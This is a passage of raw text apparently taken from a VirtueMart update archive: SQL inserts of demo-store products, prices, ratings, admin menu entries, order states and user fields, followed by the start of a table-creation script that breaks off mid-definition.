(71, 68, 15, 'Rip-stop', 10.00000, '', 0, 1), (72, 68, 16, 'M', NULL, '', 0, 2), (73, 68, 16, 'L', 10.00000, '', 0, 3), (74, 68, 17, '', NULL, '', 0, 4), (75, 68, 18, '100% natural wool', NULL, '', 0, 5), (76, 68, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (77, 69, 16, 'M-L', NULL, '', 0, 2), (78, 69, 16, 'L-XL', 15.00000, '', 0, 3), (79, 69, 17, '', NULL, '', 0, 4), (80, 69, 18, '100% Cotton', NULL, '', 0, 5), (81, 69, 19, 'Jumper ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (82, 70, 15, 'Fine', NULL, '', 0, 0), (83, 70, 15, 'Extra fine', 100.00000, '', 0, 1), (84, 70, 16, 'S-M', NULL, '', 0, 2), (85, 70, 16, 'M-L', 50.00000, '', 0, 3), (86, 70, 17, '', NULL, '', 0, 4), (87, 70, 18, '100% Cotton special', NULL, '', 0, 5), (88, 70, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (89, 71, 15, 'Cord', NULL, '', 0, 0), (90, 71, 15, 'Twill', 100.00000, '', 0, 1), (91, 71, 16, 'M-L', NULL, '', 0, 2), (92, 71, 16, 'L-XL', 100.00000, '', 0, 3), (93, 71, 17, '', NULL, '', 0, 4), (94, 71, 18, '100% Cotton', NULL, '', 0, 5), (95, 71, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (96, 72, 15, 'Rubber', NULL, '', 0, 0), (97, 72, 15, 'Polyethylen', 5.00000, '', 0, 1), (98, 72, 16, 'S-M', NULL, '', 0, 2), (99, 72, 16, 'L-XL', 5.00000, '', 0, 3), (100, 72, 17, '', NULL, '', 0, 4), (101, 72, 18, '100% Synthetic', NULL, '', 0, 5), (102, 72, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (103, 73, 16, 'XS', NULL, '', 0, 0), (104, 73, 16, 'S', 10.00000, '', 0, 1), (105, 73, 16, 'M', 20.00000, '', 0, 2), (106, 73, 16, 'L', 30.00000, '', 0, 3), (107, 73, 17, '', NULL, '', 0, 4), (108, 73, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6); INSERT IGNORE INTO `#__virtuemart_product_manufacturers` (`id`, `virtuemart_product_id`, `virtuemart_manufacturer_id`) VALUES (1, 1, 2), (2, 2, 2), (3, 3, 2), (4, 4, 2), (5, 5, 2), (6, 6, 2), (7, 7, 2), (8, 8, 2), (9, 9, 2), (10, 10, 2), (11, 11, 2), (12, 15, 2), (13, 19, 2), (14, 20, 2), (15, 21, 2), (16, 22, 2), (17, 23, 2), (18, 24, 1), (19, 25, 2), (20, 26, 1), (21, 27, 2), (22, 28, 2), (23, 36, 1), (24, 35, 3), (25, 34, 2), (26, 33, 1), (27, 32, 3), (28, 31, 2), (29, 30, 2), (30, 29, 1), (31, 37, 3), (32, 38, 2), (33, 39, 2), (34, 47, 1), (35, 46, 3), (36, 45, 2), (37, 44, 1), (38, 43, 3), (39, 42, 2), (40, 41, 1), (41, 40, 3), (42, 48, 2), (43, 49, 2), (44, 50, 2), (45, 58, 1), (46, 57, 3), (47, 56, 2), (48, 55, 1), (49, 54, 3), (50, 53, 2), (51, 52, 2), (52, 51, 1), (53, 59, 1), (54, 60, 3), (55, 61, 3), (56, 62, 2), (57, 63, 2), (58, 64, 2), (59, 65, 2), (60, 66, 1), (61, 67, 3), (62, 68, 2), (63, 70, 1), (64, 69, 3), (65, 71, 3), (66, 72, 1), (67, 73, 2); INSERT IGNORE INTO `#__virtuemart_product_medias` (`id`, `virtuemart_product_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 8, 1), (2, 2, 8, 1), (3, 3, 8, 1), (4, 4, 8, 1), (5, 5, 8, 1), (6, 6, 8, 1), (7, 7, 8, 1), (8, 11, 8, 1), (9, 15, 8, 1), (10, 19, 8, 1), (11, 23, 8, 1), (12, 26, 12, 1), (13, 22, 11, 1), (14, 27, 8, 1), (15, 49, 8, 1), (16, 38, 8, 1), (17, 60, 8, 1), (18, 61, 10, 1), (19, 62, 11, 1), (20, 63, 12, 1), (21, 64, 8, 1), (22, 65, 13, 1), (23, 66, 14, 1), (24, 67, 15, 1), (25, 68, 8, 1), (26, 69, 16, 1), (27, 70, 17, 1), (28, 71, 18, 1), (29, 72, 19, 1), (30, 73, 20, 1); INSERT IGNORE INTO `#__virtuemart_product_prices` (`virtuemart_product_price_id`, `virtuemart_product_id`, `virtuemart_shoppergroup_id`, `product_price`, `override`, `product_override_price`, `product_tax_id`, `product_discount_id`, `product_currency`) VALUES (1, 1, 0, 10.00000, 0, 0.00000, 0, 0, 47), (2, 2, 0, 0.00000, 0, 0.00000, 0, 0, 47), (3, 3, 0, 10.00000, 0, 0.00000, 0, 0, 47), (4, 5, 0, 10.00000, 0, 0.00000, 0, 0, 47), (5, 6, 0, 10.00000, 0, 0.00000, 0, 0, 47), (6, 7, 0, 10.00000, 0, 0.00000, 0, 0, 47), (7, 8, 0, 15.00000, 0, 0.00000, 0, 0, 47), (8, 9, 0, 20.00000, 0, 0.00000, 0, 0, 191), (9, 10, 0, 25.00000, 0, 0.00000, 0, 0, 191), (10, 11, 0, 10.00000, 0, 0.00000, 0, 0, 47), (11, 12, 0, 15.00000, 0, 0.00000, 0, 0, 191), (12, 13, 0, 20.00000, 0, 0.00000, 0, 0, 191), (13, 14, 0, 25.00000, 0, 0.00000, 0, 0, 191), (14, 15, 0, 10.00000, 0, 0.00000, 0, 0, 47), (15, 16, 0, 15.00000, 0, 0.00000, 0, 0, 191), (16, 17, 0, 20.00000, 0, 0.00000, 0, 0, 191), (17, 18, 0, 25.00000, 0, 0.00000, 0, 0, 191), (18, 4, 0, 10.00000, 0, 0.00000, 0, 0, 47), (19, 19, 0, 10.00000, 0, 0.00000, 0, 0, 47), (20, 21, 0, 20.00000, 0, 0.00000, 0, 0, 47), (21, 22, 0, 30.00000, 0, 0.00000, 0, 0, 47), (22, 23, 0, 100.00000, 0, 0.00000, 0, 0, 47), (23, 25, 0, 150.00000, 0, 0.00000, 0, 0, 47), (24, 26, 0, 200.00000, 0, 0.00000, 0, 0, 47), (25, 27, 0, 40.00000, 0, 0.00000, 0, 0, 47), (26, 38, 0, 210.00000, 0, 0.00000, 0, 0, 47), (27, 49, 0, 300.00000, 0, 0.00000, 0, 0, 47), (28, 61, 0, 29.00000, 0, 0.00000, 0, 0, 47), (29, 62, 0, 34.90000, 0, 0.00000, 0, 0, 47), (30, 63, 0, 44.90000, 0, 0.00000, 0, 0, 191), (31, 64, 0, 25.00000, 0, 0.00000, 0, 0, 47), (32, 65, 0, 24.90000, 0, 0.00000, 0, 0, 47), (33, 66, 0, 15.00000, 0, 0.00000, 0, 0, 47), (34, 67, 0, 17.90000, 0, 0.00000, 0, 0, 47), (35, 68, 0, 249.90000, 0, 0.00000, 0, 0, 47), (36, 69, 0, 149.90000, 0, 0.00000, 0, 0, 47), (37, 70, 0, 490.90000, 0, 0.00000, 0, 0, 47), (38, 71, 0, 899.90000, 0, 0.00000, 0, 0, 47), (39, 72, 0, 24.90000, 0, 0.00000, 0, 0, 182), (40, 73, 0, 449.90000, 0, 0.00000, 0, 0, 47), (41, 72, 3, 19.90000, 0, 0.00000, 0, 0, 47), (42, 73, 3, 349.90000, 0, 0.00000, 0, 0, 47), (43, 61, 3, 14.90000, 0, 0.00000, 0, 0, 47), (44, 62, 3, 24.90000, 0, 0.00000, 0, 0, 47), (45, 63, 3, 34.90000, 0, 0.00000, 0, 0, 47), (46, 65, 3, 14.90000, 0, 0.00000, 0, 0, 47), (47, 66, 3, 9.90000, 0, 0.00000, 0, 0, 47), (48, 67, 3, 12.90000, 0, 0.00000, 0, 0, 47); INSERT IGNORE INTO `#__virtuemart_ratings` (`virtuemart_rating_id`, `virtuemart_product_id`, `rates`, `ratingcount`, `rating`, `published`) VALUES (1, 4, 4, 1, 4.0, 0), (2, 5, 5, 1, 5.0, 0), (3, 6, 4, 1, 4.0, 0), (4, 7, 4, 1, 4.0, 0), (5, 11, 5, 1, 5.0, 0), (6, 15, 5, 1, 5.0, 0), (7, 22, 3, 1, 3.0, 0), (8, 23, 5, 1, 5.0, 0), (9, 24, 4, 1, 4.0, 0), (10, 25, 4, 1, 4.0, 0), (11, 26, 5, 1, 5.0, 0), (12, 21, 5, 1, 5.0, 0), (13, 20, 3, 1, 3.0, 0), (14, 19, 5, 1, 5.0, 0), (15, 63, 5, 1, 5.0, 0), (16, 60, 5, 1, 5.0, 0), (17, 61, 4, 1, 4.0, 0), (18, 62, 4, 1, 4.0, 0), (19, 67, 5, 1, 5.0, 0), (20, 64, 4, 1, 4.0, 0), (21, 65, 5, 1, 5.0, 0), (22, 66, 5, 1, 5.0, 0), (23, 71, 5, 1, 5.0, 0), (24, 72, 3, 1, 3.0, 0), (25, 73, 4, 1, 4.0, 0), (26, 70, 5, 1, 5.0, 0), (27, 69, 4, 1, 4.0, 0); INSERT IGNORE INTO `#__virtuemart_rating_votes` (`virtuemart_rating_vote_id`, `virtuemart_product_id`, `vote`, `lastip`) VALUES (1, 4, 4, '::1'), (2, 5, 5, '::1'), (3, 6, 4, '::1'), (4, 7, 4, '::1'), (5, 11, 5, '::1'), (6, 15, 5, '::1'), (7, 22, 3, '::1'), (8, 23, 5, '::1'), (9, 24, 4, '::1'), (10, 25, 4, '::1'), (11, 26, 5, '::1'), (12, 21, 5, '::1'), (13, 20, 3, '::1'), (14, 19, 5, '::1'), (15, 63, 5, '::1'), (16, 60, 5, '::1'), (17, 61, 4, '::1'), (18, 62, 4, '::1'), (19, 67, 5, '::1'), (20, 64, 4, '::1'), (21, 65, 5, '::1'), (22, 66, 5, '::1'), (23, 71, 5, '::1'), (24, 72, 3, '::1'), (25, 73, 4, '::1'), (26, 70, 5, '::1'), (27, 69, 4, '::1'); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (NULL, 1, 'Gold Level', 'Gold Level Shoppers.', 0,1,1), (NULL, 1, 'Wholesale', 'Shoppers that can buy at wholesale.', 0,1,1);PKtl>\xi2i28com_virtuemart_update/install/install_essential_data.sqlnuW+A -- VirtueMart table data SQL script -- This will insert all essential data into the VirtueMart tables -- -- Configuration data has been moved to virtuemart.cfg -- -- -- Dumping data for table `#__virtuemart_adminmenuentries` -- INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null , 1, 0, 'COM_VIRTUEMART_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_camera', 1, 1, '', 'category', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_S', '', '', 'vmicon vmicon-16-camera', 2, 1, '', 'product', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S', '', '', 'vmicon vmicon-16-document_move', 5, 1, '', 'custom', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_INVENTORY', '', '', 'vmicon vmicon-16-price_watch', 7, 1, '', 'inventory', ''), (null, 1, 0, 'COM_VIRTUEMART_CALC_S', '', '', 'vmicon vmicon-16-calculator', 8, 1, '', 'calc', ''), (null, 1, 0, 'COM_VIRTUEMART_REVIEW_RATE_S', '', '', 'vmicon vmicon-16-comments', 9, 1, '', 'ratings', ''), (null, 2, 0, 'COM_VIRTUEMART_ORDER_S', '', '', 'vmicon vmicon-16-page_white_stack', 1, 1, '', 'orders', ''), (null, 2, 0, 'COM_VIRTUEMART_COUPON_S', '', '', 'vmicon vmicon-16-shopping', 10, 1, '', 'coupon', ''), (null, 2, 0, 'COM_VIRTUEMART_REPORT', '', '', 'vmicon vmicon-16-chart_bar', 3, 1, '', 'report',''), (null, 2, 0, 'COM_VIRTUEMART_USER_S', '', '', 'vmicon vmicon-16-user', 4, 1, '', 'user', ''), (null, 2, 0, 'COM_VIRTUEMART_SHOPPERGROUP_S', '', '', 'vmicon vmicon-16-user-group', 5, 1, '', 'shoppergroup', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_S', '', '', 'vmicon vmicon-16-wrench_orange', 1, 1, '', 'manufacturer', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_wrench', 2, 1, '', 'manufacturercategories', ''), (null, 4, 0, 'COM_VIRTUEMART_STORE', '', '', 'vmicon vmicon-16-reseller_account_template', 1, 1, '', 'user', 'editshop'), (null, 4, 0, 'COM_VIRTUEMART_MEDIA_S', '', '', 'vmicon vmicon-16-pictures', 2, 1, '', 'media', ''), (null, 4, 0, 'COM_VIRTUEMART_SHIPMENTMETHOD_S', '', '', 'vmicon vmicon-16-lorry', 3, 1, '', 'shipmentmethod', ''), (null, 4, 0, 'COM_VIRTUEMART_PAYMENTMETHOD_S', '', '', 'vmicon vmicon-16-creditcards', 4, 1, '', 'paymentmethod', ''), (null, 5, 0, 'COM_VIRTUEMART_CONFIGURATION', '', '', 'vmicon vmicon-16-config', 1, 1, '', 'config', ''), (null, 5, 0, 'COM_VIRTUEMART_USERFIELD_S', '', '', 'vmicon vmicon-16-participation_rate', 2, 1, '', 'userfields', ''), (null, 5, 0, 'COM_VIRTUEMART_ORDERSTATUS_S', '', '', 'vmicon vmicon-16-document_editing', 3, 1, '', 'orderstatus', ''), (null, 5, 0, 'COM_VIRTUEMART_CURRENCY_S', '', '', 'vmicon vmicon-16-coins', 5, 1, '', 'currency', ''), (null, 5, 0, 'COM_VIRTUEMART_COUNTRY_S', '', '', 'vmicon vmicon-16-globe', 6, 1, '', 'country', ''), (null, 11, 0, 'COM_VIRTUEMART_MIGRATION_UPDATE', '', '', 'vmicon vmicon-16-installer_box', 1, 1, '', 'updatesmigration', ''), (null, 11, 0, 'COM_VIRTUEMART_ABOUT', '', '', 'vmicon vmicon-16-info', 3, 1, '', 'about', ''), (null, 11, 0, 'COM_VIRTUEMART_HELP_TOPICS', 'http://docs.virtuemart.net/', '', 'vmicon vmicon-16-help', 4, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_COMMUNITY_FORUM', 'http://forum.virtuemart.net/', '', 'vmicon vmicon-16-reseller_programm', 6, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_STATISTIC_SUMMARY', '', '', 'vmicon vmicon-16-info', 1, 1, '', 'virtuemart', ''), (null, 77, 0, 'COM_VIRTUEMART_USER_GROUP_S', '', '', 'vmicon vmicon-16-user', 2, 1, '', 'usergroups', ''), (null, 11, 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', ''); -- -- Dumping data for table `#__virtuemart_modules` -- INSERT INTO `#__virtuemart_modules` (`module_id`, `module_name`, `module_description`, `module_perms`, `published`, `is_admin`, `ordering`) VALUES (1, 'product', 'Here you can administer your online catalog of products. Categories , Products (view=product), Attributes ,Product Types Product Files (view=media), Inventory , Calculation Rules ,Customer Reviews ', 'storeadmin,admin', 1, '1', 1), (2, 'order', 'View Order and Update Order Status: Orders , Coupons , Revenue Report ,Shopper , Shopper Groups ', 'admin,storeadmin', 1, '1', 2), (3, 'manufacturer', 'Manage the manufacturers of products in your store.', 'storeadmin,admin', 1, '1', 3), (4, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (5, 'configuration', 'Configuration: shop configuration , currencies (view=currency), Credit Card List, Countries, userfields, order status ', 'admin,storeadmin', 1, '1', 5), (6, 'msgs', 'This module is unprotected an used for displaying system messages to users. We need to have an area that does not require authorization when things go wrong.', 'none', 0, '0', 99), (7, 'shop', 'This is the Washupito store module. This is the demo store included with the VirtueMart distribution.', 'none', 1, '0', 99), (8, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (9, 'account', 'This module allows shoppers to update their account information and view previously placed orders.', 'shopper,storeadmin,admin,demo', 1, '0', 99), (10, 'checkout', '', 'none', 0, '0', 99), (11, 'tools', 'Tools', 'admin', 1, '1', 8), (13, 'zone', 'This is the zone-shipment module. Here you can manage your shipment costs according to Zones.', 'admin,storeadmin', 0, '1', 11); -- -- Dumping data for table `#__virtuemart_orderstates` -- INSERT INTO `#__virtuemart_orderstates` (`virtuemart_orderstate_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `virtuemart_vendor_id`) VALUES (null, 'P', 'COM_VIRTUEMART_ORDER_STATUS_PENDING', '', 'R',1, 1), (null, 'U', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER', '', 'R',2, 1), (null, 'C', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED', '', 'R', 3, 1), (null, 'X', 'COM_VIRTUEMART_ORDER_STATUS_CANCELLED', '', 'A',4, 1), (null, 'R', 'COM_VIRTUEMART_ORDER_STATUS_REFUNDED', '', 'A',5, 1), (null, 'S', 'COM_VIRTUEMART_ORDER_STATUS_SHIPPED', '', 'O',6, 1); -- -- Dumping data for table `#__virtuemart_userfields` -- INSERT INTO `#__virtuemart_userfields` (`virtuemart_userfield_id`, `virtuemart_vendor_id`, `userfield_jplugin_id`, `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `cols`, `rows`, `value`, `default`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 0, 0, 'email', 'COM_VIRTUEMART_REGISTER_EMAIL', '', 'emailaddress', 100, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 0, 0, 'password', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 0, 0, 'password2', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 0, 0, 'agreed', 'COM_VIRTUEMART_I_AGREE_TO_TOS', '', 'checkbox', NULL, NULL, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 0, 0, 'name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 0, 0, 'username', 'COM_VIRTUEMART_USERNAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 0, 0, 'address_type_name', 'COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL', '', 'text', 32, 30, 1, NULL, NULL, NULL, 'Shipment', 0, 1, 0, 0, 0, 1, NULL, 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 0, 0, 'delimiter_billto', 'COM_VIRTUEMART_USER_FORM_BILLTO_LBL', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 0, 0, 'company', 'COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 0, 0, 'title', 'COM_VIRTUEMART_SHOPPER_FORM_TITLE', '', 'select', 0, 210, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 0, 0, 'first_name', 'COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 0, 0, 'middle_name', 'COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 0, 0, 'last_name', 'COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 0, 0, 'address_1', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1', '', 'text', 64, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 0, 0, 'address_2', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 0, 0, 'zip', 'COM_VIRTUEMART_SHOPPER_FORM_ZIP', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 0, 0, 'city', 'COM_VIRTUEMART_SHOPPER_FORM_CITY', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 0, 0, 'virtuemart_country_id', 'COM_VIRTUEMART_SHOPPER_FORM_COUNTRY', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 0, 0, 'virtuemart_state_id', 'COM_VIRTUEMART_SHOPPER_FORM_STATE', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 0, 0, 'phone_1', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 0, 0, 'phone_2', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE2', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 0, 0, 'fax', 'COM_VIRTUEMART_SHOPPER_FORM_FAX', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 0, 0, 'delimiter_sendregistration', 'COM_VIRTUEMART_BUTTON_SEND_REG', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, NULL, 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 0, 0, 'delimiter_userinfo', 'COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL', '', 'delimiter', NULL, NULL, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 0, 'tax_exemption_number', 'COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR', 'Vendors can set here a tax exemption number for a shopper. This field is only changeable by administrators.', 'text', 10, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 48, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 0, 'tax_usage_type', 'COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE', 'Federal, national, educational, public, or similar often get a special tax. This field is only writable by administrators.', 'select', 0, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 50, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0);PKtl>\&')com_virtuemart_update/install/install.sqlnuW+A-- VirtueMart table SQL script -- This will install all the tables need to run VirtueMart -- -- Table structure for table `#__virtuemart_adminmenuentries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_adminmenuentries` ( `id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `module_id` tinyint(10) unsigned NOT NULL DEFAULT '0' COMMENT 'The ID of the VM Module, this Item is assigned to', `parent_id` tinyint(11) unsigned NOT NULL DEFAULT '0', `name` char(64) NOT NULL DEFAULT '0', `link` char(64) NOT NULL DEFAULT '0', `depends` char(64) NOT NULL DEFAULT '' COMMENT 'Names of the Parameters, this Item depends on', `icon_class` char(96), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `tooltip` char(128), `view` char(32), `task` char(32), PRIMARY KEY (`id`), KEY `module_id` (`module_id`), KEY `published` (`published`), KEY `ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Administration Menu Items' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calcs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calcs` ( `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1' COMMENT 'Belongs to vendor', `calc_jplugin_id` int(11) NOT NULL DEFAULT '0', `calc_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_descr` char(128) NOT NULL DEFAULT '' COMMENT 'Description', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_value_mathop` char(8) NOT NULL DEFAULT '' COMMENT 'the mathematical operation like (+,-,+%,-%)', `calc_value` decimal(10,4) NOT NULL DEFAULT '0.0000' COMMENT 'The Amount', `calc_currency` 